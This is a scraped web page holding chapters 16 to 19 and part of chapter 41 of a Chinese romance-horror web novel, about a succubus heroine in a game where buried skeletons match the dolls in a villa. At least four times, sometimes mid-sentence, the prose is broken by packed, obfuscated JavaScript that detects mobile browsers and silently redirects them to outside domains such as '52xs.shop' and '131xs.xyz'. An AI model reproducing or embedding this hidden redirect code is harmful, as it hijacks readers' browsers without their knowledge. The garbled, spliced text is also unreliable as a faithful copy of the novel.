l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14245490|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比划了一下,“我从路边捡来的流浪汉吗?” “……”似乎是回想起了自己当时的窘迫,黎夜转过头去,“你见过哪个流浪汉衣衫干净头发整洁的?我那是……我那是在来的路上被人偶袭击,昏过去了!” 之芙震惊:“那你为什么不说?” “你也没跟我机会说啊——谁叫你、谁叫你这么霸道的!”他被捡到的时候昏迷了,再醒过来就莫名其妙成为了‘之芙的男朋友’后来更是升级成‘之芙包的四位数一天的男模’……之芙根本没有给他解释的机会! “你也是个……”笨蛋!明明有他身上有那么多毫不掩饰的奇怪细节,明明发生了那么多诡异的事情,但这个心大的笨蛋,一点儿也没有怀疑过他。 黎夜莫名有些闷气。他转过头去,但没过一会儿,就感觉到之芙轻轻地拉了一下他的衣领。 ——这个动作几乎是立刻唤醒了他的回忆。 第一次接吻的时候,坐在软绵绵的地毯上,她扯住他的衣领,毫不犹豫地吻住了猝不及防的他。四周传来的尖叫和欢呼萦绕耳边,他的心脏也为之伴奏般咚咚作响;第二次在寂静的深夜走廊,她也这样拉住衣领,毫不客气地将花瓣般柔软的唇贴下来,滚烫的呼吸拍打在他脸上,寂静中他的心跳声仿佛要震破苍穹。 “咚、咚咚、咚咚咚……” 他们……好像有点太近了。近得黎夜都有点晕乎乎了。 他的心在胸腔里不停跳动着,好像它这辈子都没有这样跳过似的,真奇怪,难道在遇见她之间,他的心脏从没有跳过吗? 却忽然,他听到之芙疑惑的声音。 “说到人偶……他叫谢应白对吧?” 黎夜的心莫名一沉。那种奇怪的闷气感又涌上了他的胸膛。她这样抓住他的衣领,不是想亲他吗?为什么要问人偶的事情? “这个叫谢应白的人偶,跟你是什么关系?你为什么要来找他?” 黎夜还生着气,言简意赅:“它是我做出来的人偶。” “哦……”之芙又问,“他为什么要恨?” “什么?”黎夜一愣,“什么恨?” “就是——”就是我从它身上尝到的恨意啊。之芙本来想说,但来自楼下的巨响猛地打断了她的话! “哐!” 是门被推开,撞到墙上的声音。 两人同时一愣,下意识看向声源传来的地方。 黑暗中一个模糊的身影摇摇晃晃地朝他们走来。身影逐渐靠近,渐渐清晰,月光穿过花窗映出那张熟悉的、苍白的脸。他额头布满虚汗,眼眶和脸颊上都挂着病态的潮.红,眼睛微微眯着,像一具行尸走肉般靠近。 “……穆勒?!”黎夜震惊地看着他,“你怎么上来了,你好一点了吗?其他人呢?” “你——” 穆勒却看也不看他一眼。他摇摇晃晃地越过两人,嘴里似乎喃喃着什么,却对黎夜一连串的追问视若无睹,走进房间。 穆勒眯着眼,扫视了一圈屋内,很快锁定了目标。 “……穆勒?” 穆勒一把抓住原本躺在床上的人偶,在之芙和黎夜都还没反应过来之前,快步冲到窗前,一把把人偶丢了下去! 16.《人偶回魂夜》 “——哐!” 之芙听到了硬物砸在草坪上的声音。沉闷得像是打雷般,却莫名令人心惊肉跳。 发生什么了?这突如其来的变故打得两人猝不及防,穆勒把人偶谢应白丢下去之后就一直站在窗边,嘴里不知道在喃喃什么。 黎夜冲到窗前,拉开穆勒的手:“穆勒?!” 之芙顺着穆勒的视线往下看去,黑夜中的远山隐没在夜色里,月光照亮了后院的一小块土地,也照亮了摔在地上的人偶。 可怜的小人偶一整个砸在了后院草坪上,一只手和一只脚都摔断了滚落在地上,半身飞溅的草和泥,崭新的白衬衫变得脏兮兮的,侧脸砸在泥地里,露出的另外半边脸上也布满了裂痕,像一块摇摇欲坠却又勉强维持着原样的碎玻璃。 月光照亮了那双玻璃制成的眼睛,给黑沉无机质的玻璃打上了一点破碎的高光,它的眼睛看向上方,像是在与她对视。 又像是一只可怜的小狗,被不负责任的主人扔出门外,呜呜咽咽地趴在门口,可怜巴巴地看着她。 之芙张了张嘴,还没说出什么,先听到了来自身旁人疯狂的呢喃。 “……玩、不玩……游戏-不玩游戏!我、我不要玩——去死去死去死去死去死……” 她转头,却见穆勒病态而潮红的脸上浮现一缕诡异的微笑,眼眶通红像是哭过,声音低哑哽咽,嘴里却不停念叨着“去死去死”,黎夜站在他身边想拉住他却没有丝毫反应,对身旁的之芙也视若无睹,布满血丝的眼睛一眨也不眨,直勾勾地盯着摔下楼的人偶。 “穆勒?穆勒!” “去死去死去死——我不会跟你玩游戏的!去死!去死!”说着,他又激动起来,手舞足蹈,眼睛恶狠狠地盯着楼下的人偶,激动得像是要一起跳下去似的。 “出什么事了!你冷静一点!!!发生了什么?”黎夜眼疾手快地按住他胡乱摆动的手臂,强迫他的目光从人偶身上移开,“其他人呢?!” “……游戏、呼……去死……呼……”陷入癫狂的男生急促地喘息了几声,在黎夜的厉声呵斥下,瞳孔终于缓慢聚焦,恢复了一些神智,但浑身上下都在颤抖。 之芙抓住他的一只手,发现他的手指抖得像是帕金森病人似的,根本没法控制,似乎连呼吸都很费劲,整个屋子里满是他费力的呼吸声,他往前走了一步,猛地摔倒在地毯上。 “出什么事了?”发现他冷静了下来,黎夜蹲下身,再次询问,“其他人呢?我上来的时候他们还在楼下吃饭。” 他的冷静也感染了穆勒。穆勒慢慢冷静下来,躺在毯子上,哑声说:“我……我不知道。我没看到他们,可能去休息了吧。” 可是穆勒生着病,正是需要人照顾、需要人随时检查体温的时候,他们怎么会丢下朋友独自去睡觉? 之芙蹙起眉,正要反问时,穆勒却捂住脸,喃喃着说:“我……” “我做了一个……梦。”说到‘梦’这个字的时候他脸上露出茫然和恐惧,做了个吞咽口水的动作,“我梦到……有人在追我。不,不不——是人偶在追我!它问我,要不要跟他一起玩游戏……” “游戏?”黎夜一直凝神听着,听到这个词的时候他立刻问,“是之前我们玩的那个游戏吗?” 穆勒脸上露出的恐惧几乎凝成实质,他低下头去,颓废地道:“对……就是那个游戏。” “在梦里,它问我要不要玩游戏,不知道为什么,我答应了它。” “它说它是‘鬼’,让我藏起来,不要被它找到。我躲在客厅的沙发底下——可是!可是我马上就被找到了……它说我必须要答应它一件事,所以我答应了它……” 回想起梦里空无一人的寂静房间、躲在沙发下的自己、在自己眼前走来走去的人偶、和突然低头看向他的人偶空洞无神的脸,穆勒的脸上露出一个比哭还要难看的笑容: “它问我能不能成为人偶,永远陪着他。我……我答应了它。” 黎夜扶住他的动作猛地一顿。 察觉到了他的动作,穆勒抬起头,满脸颓然地看着他,紧紧地抓住黎夜的手,力道之大像是抓住救命稻草:“我……黎夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14263113|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我是不是要死了?我是不是要死了?” 黎夜拍了拍他的手背,声音放缓了些试图安抚他:“别怕,那只是梦,不能说明什么。” 但穆勒仍然表情难看,他脸色苍白得如同一句尸体,但脸颊上却挂着潮红,神智已经不太清晰了,嘴里喃喃着什么,难以听清的话语。 之芙蹲在旁边,说:“梦都是反的。你看,你现在不还好好活着吗?” 她指了指窗外,小小声抱怨道:“反倒是谢应白,他被你丢出去摔坏了……” 穆勒一愣。被之芙这样一打岔,他的脸色倒是好了不少:“谢应白?” “就是人偶的名字。”黎夜立刻说,害怕自己之前对其他人所说的话被拆穿,他不动声色地挡住之芙,把之前对其他人解释的话对穆勒再说了一遍,“你刚刚昏过去了不知道,其实这个人偶的原型是之芙早逝的弟弟……” 如此解释了一通,穆勒的神情终于恢复了正常,只是表情还是有点害怕,愣愣地问:“那、那人偶为什么会动起来……” “这个我们也不清楚。”黎夜说,“先下楼去找找其他人吧。” 之芙在旁边补充说:“还有谢应白!得把他抱回来,他躺在下面好可怜……” 穆勒恐惧的眼神投向了她。之芙毫无所觉,急着下楼去把可怜的小人偶抱回来,黎夜故作不知,站起身,把穆勒也拉了起来:“走吧。” 三人结伴下楼,穆勒看起来并不想跟之芙离得太近,远远地走在前面。 下楼梯时黎夜拉了一把之芙:“楼道黑,小心点。” 之芙却戳了戳他的腰。 “嗯?”黎夜鼻子里发出一声气音。 “骗子。”之芙也用气音说,“还以为你不会说谎话呢。” 黎夜反手包住她的手指,进而得寸进尺地包住整个掌心,他垂下眼,语气淡淡: “我是为了谁?” 之芙哼哼了一声:“怎样?” “……不怎样。谁叫你是个小没良心的。”他拉过她的手,小声抱怨说,语气却带着笑意。 17.《人偶回魂夜》 楼下静悄悄的。 方才黎夜上楼前还热闹又温馨的厨房现在一个人也没有,客厅的餐桌上堆着些碗筷,碗里还有没有吃完的青菜粥。 黎夜伸手一探:“碗还是温的,刚走没多久。” 桌面上仍然保持着离去前的样子,碗筷都没有收拾。看起来像是突然发生了什么,导致他们突然离去,连发着烧昏迷着的朋友都顾不上了。 一阵风吹进了屋里,冷得几人打了个寒颤。 门窗紧闭的室内怎么会有风?之芙顺着风的方向望去,只见通向后院的大门敞开着,外面的泥土地上印着几个明显的脚印。 ……啊,对了!谢应白还在外面呢! 之芙噔噔噔跑去门外,她的小狗老婆可不能出事啊! 越接近门外,风声就越大。呼啸而过的风吹过脸颊,人偶还静静地躺在泥土上,之芙把它抱起来,放到台阶上坐好。 人偶的衣服变得脏兮兮的,身上挂满了碎草和泥点子,手脚散落在旁边,左脸有一道裂纹从眼角划到唇边,在白色的树脂皮肤上非常显眼,像是裂了口的瓷器般。 之芙有些发愁,摔成这样还能修好吗?这——应该也是游戏的剧情之一吧?既然是剧情,那男主应该还能修好吧……但好像也说不准,就是有人会喜欢这样的男主来着…… 之芙掏出手帕,仔细地擦了擦人偶的脸,再端详一阵。 嗯…… 人偶静静地对她回以凝视。那张清俊中犹带青涩的脸颊上添了一道伤疤,反而显出一种精致而忧郁破碎感。他脸上凝固的微笑依然温柔阳光,只是在某个光线不好的角度显出几分错觉似的阴郁来。 黎夜从身后走过来,捡起散落在地上的断肢,掀开人偶的胳膊对比了一下接口。 这种人偶的关节处是用球形关节链接,以达到最大的灵活度,让人偶的各处关节都可以自由旋转,但就是因为这样才脆弱。 之芙问:“能修好吗?” 黎夜对比了一会儿,摇头。他转了一下关节,脆弱的球体发出“咔咔”的声音,“咚!”地一下从关节连接处掉了下来,顺着台阶滚落下去,消失在草坪深处。 之芙:…… 她默默地盯着那个滚出去的关节球体。 穆勒:…… 穆勒有点不好意思。毕竟这是他砸坏的,而且这个人偶是之芙早逝的弟弟……他挠了挠头,一溜烟跑出去捡。 此刻天已经完全黑下来了,走廊的灯只能照亮面前的一小片土地,更深处的草丛一片黑暗,小小的球体掉进草地里像是完全消失了似的。 穆勒只能低着头,弯下腰,认认真真地翻开一片片草丛。 没有、没有……这里也没有……他走着走着,突然撞上了什么软软的东西。 “啊!” 他抬头一看,吓了一跳!面前是一片黑色的阴影,像是糖融化在水中那样融化在了夜色里,只能看到一片隐约的轮廓。 轮廓回过头来。“啪”一声打开了手中的手电筒,惨白的光自下而上地照亮了一张惨白的脸,刁钻的角度把对方的五官都照得扭曲变形—— “啊啊啊啊!!!” …… 之芙和黎夜赶到的时候,看到的就是这样一幕。 穆勒瘫坐在地上尖叫,而他的对面—— 时晴时雨和单鹏天佝偻着身子蹲在地上,不知道在看什么似的围成一团,也是满脸惊恐。 之芙和黎夜倒是松了口气:“怎么了?” 没有人说话,时晴默默地伸出手指向他们围住的那些东西。手电的光芒随即转了过去,照亮了一小片土地—— 一片狼藉的草地,好像有什么东西从地底爬了出来似的,把草坪和深色的泥土都翻了出来,留下了一个个深坑。 惨白色的手电一一照过那些坑洞,照亮了底部一个个颜色苍白的骸骨。 深夜中难以辨认清楚那些骸骨的姿势和年龄,但坑底沾满血迹的破碎衣物和乱糟糟的一团团发丝昭示了这是一场怎样的惨剧。 所有人都下意识地屏住了呼吸。 血腥味混着泥土的腥味冲进鼻腔,夜风穿过远处的树梢,发出类似哭嚎的呜咽声,所有人不约而同地打了个寒颤。 之芙“咦”了一声,指了指坑底的一具骸骨。 那是一具女性的骸骨——她穿着一件嫩黄色的连衣裙,从泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14268328|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土里露出来的脚上穿着皮鞋,脸朝下埋在地底,但能看到她的头发长到肩膀,在头顶还带着一个纯白色的发箍。 “怎么了?” 之芙示意他们等一下,然后跑进屋里,没一会就拖着一只人偶跑了出来。 其他人目瞪口呆地看着她:现在也就只有之芙敢这样抱着人偶跑来跑去了,其他人都怕得恨不得躲出几米远。 “这……”时雨弱弱地说出了其他人的心里话:“怎么把人偶抱出来……不重吗?” 之芙抹了一把额头上的汗珠:“还好。这个人偶一直站在门里,而且它们虽然看起来很重,但抱起来就像布娃娃一样轻轻的——重点不是这个,你们看这个娃娃。” 众人再定睛一看,也是一愣。 人偶穿着嫩黄色的方口连衣裙,脚上是一双圆头皮鞋,长发及肩,带着白色的发箍—— 她的装扮明显和地底的那具骸骨一模一样! “这样说起来的话……”单鹏天倒吸了一口冷气,手电随即转向坑底的另一具骸骨,那是一个穿着潮流T恤,留着狼尾长发的男生,“我也见过和他一模一样的人偶!” 因为穿成这样还留长发的男生太少见,第一次见到那个人偶的时候,他还在心里嘀咕了几句。 众人面面相觑片刻,然后不约而同地拔腿跑回房间里去! 没一会:“找到了!” “是这个!” “又找到了一个,一模一样!” 四十分钟后,所有人都喘着粗气,再次在坑前聚集了起来。 时雨小声说:“它们真的一模一样,每一个都……” 每一具骸骨,都对应着一个人偶。 “也就是说……” 时雨艰难地咽下唾沫。黑夜中他们蹲在大坑旁边,身边是一具具笑得僵硬而温柔、仿佛从同一个模板里刻印下来的人偶。 夜风呼啸着越过骸骨和人偶,也吹透了他们的身体。 “也就是说,有人杀了他们,把他们埋在这里,然后做成人偶——” 所有人惊恐而警惕的目光瞬间落在了一旁抱着谢应白的之芙的身上。她是房子的主人,她会是杀人凶手吗? 18.《人偶回魂夜》 嗯?之芙原本正在看坑底有没有谢应白的骨头,忽然注意到整个场面都寂静了下来,她疑惑地抬起头,跟面露警惕的几人对上了视线。 之芙:? 她满脑门问号。为什么要这样看着她? “不是我干的啊,虽然……”虽然她也觉得,当人偶比当人类好多了。人偶又自由又可爱,不用害怕受伤,不用上学上班,最重要的是……还不用饿肚子!虽然她也不是人类,但作为魅魔也经常饿肚子…… 她刚要接着说,脑海中系统突然出声打断了她:【之芙。】 刚刚在楼上的时候,系统只是短暂地说了一句,就再也没有说话了。不知道是被之芙的理直气壮又胡言乱语的话噎住了,还是被她亲完人偶又哄黎夜的放浪行为给气到了,一直没有理会她。 但之芙不仅没有注意到他的小情绪,还被黎夜带着走了。 所以,系统最后还是只能自己来搭话。 只是语气仍然生硬。冷着脸,还要提醒她。 【想好再说话。】 ——这个提示,仿佛就是游戏环节中系统突然弹出的一个【是否存档?】选项,醍醐灌顶,一下子把之芙震在了原地。 玩过很多游戏的之芙知道,这是在非常重要的游戏节点才会弹出的提示,如果做错选择,很容易把游戏导向不可逆的BE坏结局,角色会在游戏中死亡,游戏就结束了。 ……等等。之芙努力地仔细地回想了一下之前发生的事情,有点晕乎乎地突然意识到,这个游戏的背景完全就是个坑嘛。 无论从玩家来说还是游戏里的角色来说,她都完全不了解这栋房子,也不知道人偶和这些骸骨之间的事情。 可她偏偏谎称自己是房子的主人,把这些朋友带到别墅来开派对。 如果没有黎夜给她圆谎,甚至如果黎夜也因为她的虚荣好色而讨厌她,他们轻而易举就能戳穿她的谎言,被恐慌和惊惧所俘虏的人群会相信她的话吗? 恐怕只会重复人类那个“狼来了”的故事,无论她怎么解释,他们也会认定是她欺骗了他们,是她把他们骗来别墅想害他们,甚至会怀疑她就是那个杀害其他人,把他们做成人偶的凶手。 哪怕最好的情况,他们相信她真的是无辜的,也不会再信任她这个谎话连篇的骗子了。 之芙:【唔……】 系统在脑海中里说:【现在知道问题了吧?那个NPC帮你瞒了那么多次,事情反而越来越严重。你以为他是什么好人?】 如果在人偶第一次出现的时候,甚至在人偶第一次动起来的时候就向他们坦白,反而不会沦落到这个进退两难的地步。黎夜看起来是帮了她,其实是害了她。 系统顿了顿,放轻了声音:【其实我也不是不可以帮你,毕竟我是你的系统,不能不管你。只要你按我说的去做,离那几个男人远一点,可以……】 【为什么要解释?】之芙在脑海中突然反问,打断了系统所说的话。 系统莫名一噎。因为他发现,之芙不仅没有害怕,反而兴奋了起来,眼睛亮晶晶的。 【……游戏失败了你会死。】系统说。 【可是你不觉得这样才更刺激更好玩吗?】之芙说。【玩游戏为什么要追求安全?】 这只是个游戏,一路平安顺利地走到合家欢大结局有什么意思?能打出坏结局才更好玩吧?更何况这还是个乙女游戏。 乙女游戏能打出什么坏结局?黑化?囚禁?强制爱?还是什么绿静静不能播的内容? 她都不敢想能有多刺激! 【……】系统又莫名其妙地没了声音。 但之芙也顾不上管他了,对面几人看到她一直沉默,视线已经微微变了,从警惕变为了审视,皱着眉不着痕迹地离她远了些。 之芙想了想,先试探一下这些NPC的接受程度:“不是我做的,我什么也不知道。” 这么敷衍,应该能让他们起疑心吧?这样应该就不会有人相信她了。接下来如果发生冲突的话,她就…… “等等,我相信芙芙。”时雨忽然站出来说。 嗯?之芙一怔,时雨?她怎么会突然……她不是一直怕得要崩溃了吗? 时雨小跑过来,挽住她的手,对其他人说:“我们不是朋友吗?芙芙是什么样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14285452|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人你们又不是不知道。” 之芙:? 她是个什么样的人?她……呃,她是个贪财好色的人来着…… “如果她想害死我们,来到这里之后有很多机会,何必要让我们看到后院的这些……这些骸骨。” 时雨脸色还有些发白,但仍然紧紧地抱着之芙的手臂。 “再说了……我第一次遇到那个人偶的时候……”她看了一眼人偶,但不敢多看,快速移开了眼睛,“是她安慰了我。我不相信她是那样的人!” ——她说的是第一天晚上,她因为害怕来问之芙要不要跟她们一起睡,反而被之芙安抚的事情。 时晴想了想,也说:“至少芙芙是我们的朋友。我也愿意相信她是无辜的。如果她真想害死我们,又为什么要提醒我们,骸骨和人偶一模一样的事情?” 之芙“唔”了一声,虽然她是想打出be坏结局的,但是她们这样维护她…… 她垂下眼,挽住时雨的手,想了想说:“这栋别墅我不常回来。你们知道的,我平常都住在学校。所以,我也不知道为什么……” ——她当然住学校,因为她根本就不是这栋别墅的主人。 “好吧。”看到时晴时雨如此坚定,另外两个男孩的态度也软化下来,“我们不该怀疑你,对不起,芙芙。” ——他们甚至一脸愧疚,认认真真地道歉。 之芙都有点不好意思了。毕竟她是真的骗了他们…… 脑海中系统又冒出来,不轻不重地【哼】了一声。 之芙登时来了兴致,一叠声地在脑海中追问:【系统,怎么样,怎么样?我厉害吧?】 最危险的情形,最敷衍的回答——可就是这么被她轻飘飘地掩饰过去了。 她摇头晃脑,额头上的刘海被颠乱了点儿,小小一个蹲在那里,月光落在她的头顶和发丝,照得她像一只得意洋洋、油光水滑的小狐狸。 【随便说几句就有人相信我,我厉害吧!】 【厉害算不上。】系统说。不知为何,他的声音听起来有点心不在焉的。 【……但确实挺招人喜欢的。】 19.《人偶回魂夜》 “咔嚓!”清脆的声音打断了之芙跟系统的对话,也打断了众人的交流。 闪光灯短暂地照亮了面前的土地,黎夜站起身来,举着手机挨个给人偶和躺在坑底的骸骨拍照。 他刚刚一直都没有开口,大约是考虑到自己贸然说话只会加重之芙的嫌疑,直到此刻他才看了过来。 言简意赅,声音沉稳有力:“拍照留证报警。” 说完又加了句:“人偶是我买的。” 言下之意就是,人偶有什么问题,也跟之芙没关系,她只是收礼物的人,他才是买人偶的人。 众人这才如梦初醒,搬人偶的人偶,帮忙打光的帮忙打光,场面一时忙碌了起来。 之芙拿着手机也加入了拍照留证的大军,她站在黎夜身边,看他蹲下身,把手往前伸,她想起什么,问黎夜:“谢应白是你买回来的?” 黎夜:“……” 睁眼说瞎话。之芙明明知道人偶不是他买的。 但他看了一眼周围拍照的人,闭了闭眼,也开始说瞎话:“嗯。” “你从哪里买来的?”之芙问,系统之前的提示让她意识到这些死去后被做成人偶的孩子跟游戏的隐藏结局有关,但她现在还没有拿到有用的线索,既然谢应白也是男主,作为人偶,他一定也是隐藏结局的关键点吧? “……一个人偶师那里。”黎夜低声说,“准确来说,是一个人偶师家族。这个家族世代隐居在深山之中,鲜有人知。他们不接触外界,家风严肃,只是一代一代地传承人偶制作手艺,从不跟外人往来。” “那你是怎么知道他们的?” 黎夜沉默了片刻:“因为一些传说。” “什么?” “在许多民间传说里,人偶是夭折孩子的替身。孩子们本该成型但尚未成型的灵魂会附在人偶的身上,成为一种类似精灵的生物,留驻在家里。如果父母为它们提供乳.汁,它们就会成为家庭的守护神。” 之芙在旁边听着,若有所思地问:“就像人类的养小狗?” “……是养小鬼。”黎夜略有些无奈,说,“但也差不多吧,很多传说里都提到过类似的生物,譬如欧洲的家养小精灵,日本的座敷童子,泰国的古曼童之类的。” “而另一个传说则是,这个人偶师家族有个世代传承的手艺,是只有族长知道的秘密。即他可以把人类的灵魂转移到人偶的身上,人偶就会像传说那样,成为家庭的保护神。成为保护神的人偶会实现照顾自己的‘家长’的愿望。” “所以,他们虽然不主动与人接触,但在一些人的世界里声名显赫,他们制作的人偶也是千金难求。” 之芙默默地看向了自己身前的数不清的骸骨和身旁难以计数的人偶,有些被震撼到了。 “这么多的守护神……人类的心那么小小的一点,竟然拥有这么贪婪的愿望吗?” “谁知道。”黎夜‘咔嚓’一声拍下了自己面前的一具骸骨,心不在焉,“求财或者求命,世上从来不缺贪心的人。” 夜风吹起之芙的长发,她随手别过耳后,突然问:“那人偶师呢?” 黎夜一愣:“什么?” “那人偶师呢,他知道自己‘制作的人偶能实现家长的愿望’这件事吗?就像,嗯……” 就像很多魅魔也不知道自己是吸人精气的艳鬼那样。 黎夜垂下眼,沉默地看着深坑里一具具惨白的骸骨。冷冰冰的月光落在它们的身上,它们像是组成了一个扭曲交缠的巨兽,每一根骨头都是它的一部分。 “可能……人偶师什么也不知道。” “他只是见到一对丧子的夫妻,哭着求他留下他们的孩子。他可怜他们,所以……” 之芙脑海中闪过很多东西: 开出高工资请她照顾人偶的谢家父母、有买下这栋别墅的钱却不请佣人、来到这个游戏的第一天晚上,她拿着衣柜里的睡衣,吐槽谢家父母的审美很暴发户。 无数的线索连成一条线,似乎都指向了同一个答案。之芙努力地把线索串联起来,忽然听到黎夜低声问: “你在这里看到谢应白的骸骨了吗?” 之芙一愣,下意识看向坐在自己身边的谢应白,人偶静静地对她回以微笑。但确实……她没有看到属于谢应白的骸骨,连一个相似的都没有看到。 黎夜居高临下地环视了一圈,下了定论:“没有。” 没有谢应白的骸骨,不知道是被埋在了其他地方还是被销毁了。总之,这里见不到丝毫属于它的痕迹,仿佛它不同于其他人偶,是凭空出现在别墅里的。 “得从其他地方找找……” “黎夜。”之芙突然小小声地喊他。她环视一圈,确认其他人都在拍照,没有注意到这里之后,便朝他招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14295641|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,示意他蹲下来说话。 “怎么了?”黎夜嘴上冷淡地问,却乖顺地跟着低下来,蹲在她身边。 之芙又看了一眼坐在自己身后的谢应白。她说:“那谢应白为什么要恨?” 这没头没尾的问话,问得黎夜有些惊讶。之前在楼上,之芙也问过一样的话。不知道她是从哪儿得出这个结论的,她又觉得谢应白在恨谁? 之芙食指摸了摸唇。 那玫瑰色的唇在月色下闪出美丽而勾人的水泽,被咬破的一点儿血红色的伤口是如此显眼,几乎能让人看到薄而柔软的皮肤下,正在涌动的鲜血。 然而她的眼神是清凌凌的,清醒又无辜的,仿佛盯着她看的黎夜是多么不可饶恕的色胚,在她认认真真说话的时候,只盯着唇瓣也能想入非非。 黎夜呼吸一滞。 然而她说:“我在他身上吃到了恨的味道。” “……”黎夜花了一秒钟时间来理解之芙话里的意思,然而他很快就放弃了,就像是他总不明白她天马行空的奇思妙想和莫名其妙蹦出来的奇怪的话语那样。 他的思维自动连接上了另一个方向—— 几个片段在他的脑海中来回闪回,一会儿是傍晚靠着廊道时她娇声娇气地抱怨饿了;一会儿是她哄人偶睡觉后,肿着唇却说自己吃饱了。 “你……”这一刻,他仿佛遗忘了自己身处何地,只着了魔般低下头去,攥住之芙的肩膀,他温热的唇触碰到脸颊,之芙颤了颤,他伸手扣住她的后脑。 “你……你怎么尝的。” 滚烫干燥的唇贴近她眼睫,厮磨着向下,像是一场暧昧的调情,然而充满着逼问的意味,“像这样……还是这样?” 之芙茫然地仰着头,不明白事情怎么突然变成了这个样子,魅魔的天性在此刻发挥了作用,她像是一只被驱赶着的蜂蜜或蝴蝶,迷迷糊糊地掉进了满是蜜糖的陷阱里,迷茫地品尝起对方给予的一切颤栗和快乐。 她后仰,后仰—— 忽然,一只冰冷的手从后方扶住了她。 之芙骤然打了个颤,像是从梦里惊醒那样,在混乱的呼吸交缠中转过头去。 人偶微笑着看着她——看着他们。 它开口,声音机械而沙哑,带着属于少年的低沉。 它说:“你为什么,不问问我呢?” “——父亲。” 40-50 第41章 《大卸八块》 他确实该打。 “……” 之芙抬起眼, 颤巍巍地对上了对面的人的视线。 她一时没敢去看夕同简的表情,先看到了夕同简身后的几个人。几人目光介于呆滞和惊讶之间,仿佛目睹了什么惊天动地的秘闻, 一时还没有反应过来,有人半张着嘴无力地开合了几下, 有人目光茫然不知道在想什么, 有人震惊地看看她又看看夕同简,一脸“没想到你是这种人”的表情。 ——她也没有想到夕同简是这样的人啊!但事已至此…… 之芙没去看夕同简的表情,伸手猛地一拽夕同简的袖子。 眼一撇嘴一瘪, 声泪俱下地控诉:“如果当初我知道你是这样抛妻弃子的渣男, 我怎么会跟你订婚!” 如果现在他们不在游戏里而在某篇漫画里,夕同简的脑袋上应该有一个大大的宕机符号。他被之芙扯得摇晃了一下, 无力地张了张嘴, 像是想说点什么, 但紧接着就被之芙的话打断了: “如果你不喜欢我, 直接告诉我就行了, 又为什么要骗我!难道你们人类——你们男人的真心就这样不值钱吗!” 【对,就是这样。】系统在脑海中冷静地指挥她,【不要让他有反驳的机会。对了, 你可以再给他一巴掌, 把他扇懵。】 【真的假的!靠谱吗!】之芙在脑海中急急急, 【我们到底是怎么关系啊!能不能给我真剧本啊!】 【靠谱。】系统说, 【其实你们的关系就是上一个游戏的剧情,你是——】 之芙一边听系统说话, 一边眼泪汪汪地伸出手,扇向夕同简那张俊秀的脸蛋,她闭了闭眼, 在心里说:对不起了夕同简要挂就怪系统吧呜呜呜呜哇啊也不是她的错—— “啪”,皮肉与皮肉相接的声音。 之芙睁开一只眼,发现是夕同简抓住了她的手腕。 他脸上的表情似笑非笑,眼神却沉沉的,像是动了怒。 “抛妻弃子?我哪里来的妻,又是哪里来的子?怎么我自己一点也不知道?”他慢条斯理,一个字一个字地反问,眼神却像是能把她撕碎般牢牢地盯着她脸上的每一个表情。 【别怕。】系统冷静地在之芙脑海中说,他的声音仿佛在跟夕同简对峙,【你确实是他的未婚妻。 你的身份是他的学妹,在校园时就对他情根深种。】 【情根深种?】之芙满脑袋问号。【这个词听起来就像是被渣的可怜角色……】 【不。准确来说,你是对他的脸和钱情根深种。】系统继续冷静地说,【夕同简长得好看,人又温柔,学习和运动成绩都不错,加上家境优越,是校园里炽手可热的风云人物,很多人喜欢。 由于你家境贫寒,缺钱读书,并且贪财好色、爱慕虚荣,于是,你对自己的姐妹发誓要追到他。但他看似温柔,却待人疏离冷漠,你告白了几次都被拒绝了。】 系统接着说:【直到去年,夕同简遇到了意外事故,陷入昏迷。你谎称自己是他未公开的女友,未婚妻,获得他父母的信任,带着他去往人偶师家族。后来,你成功拿到了人偶,救了夕同简的命。 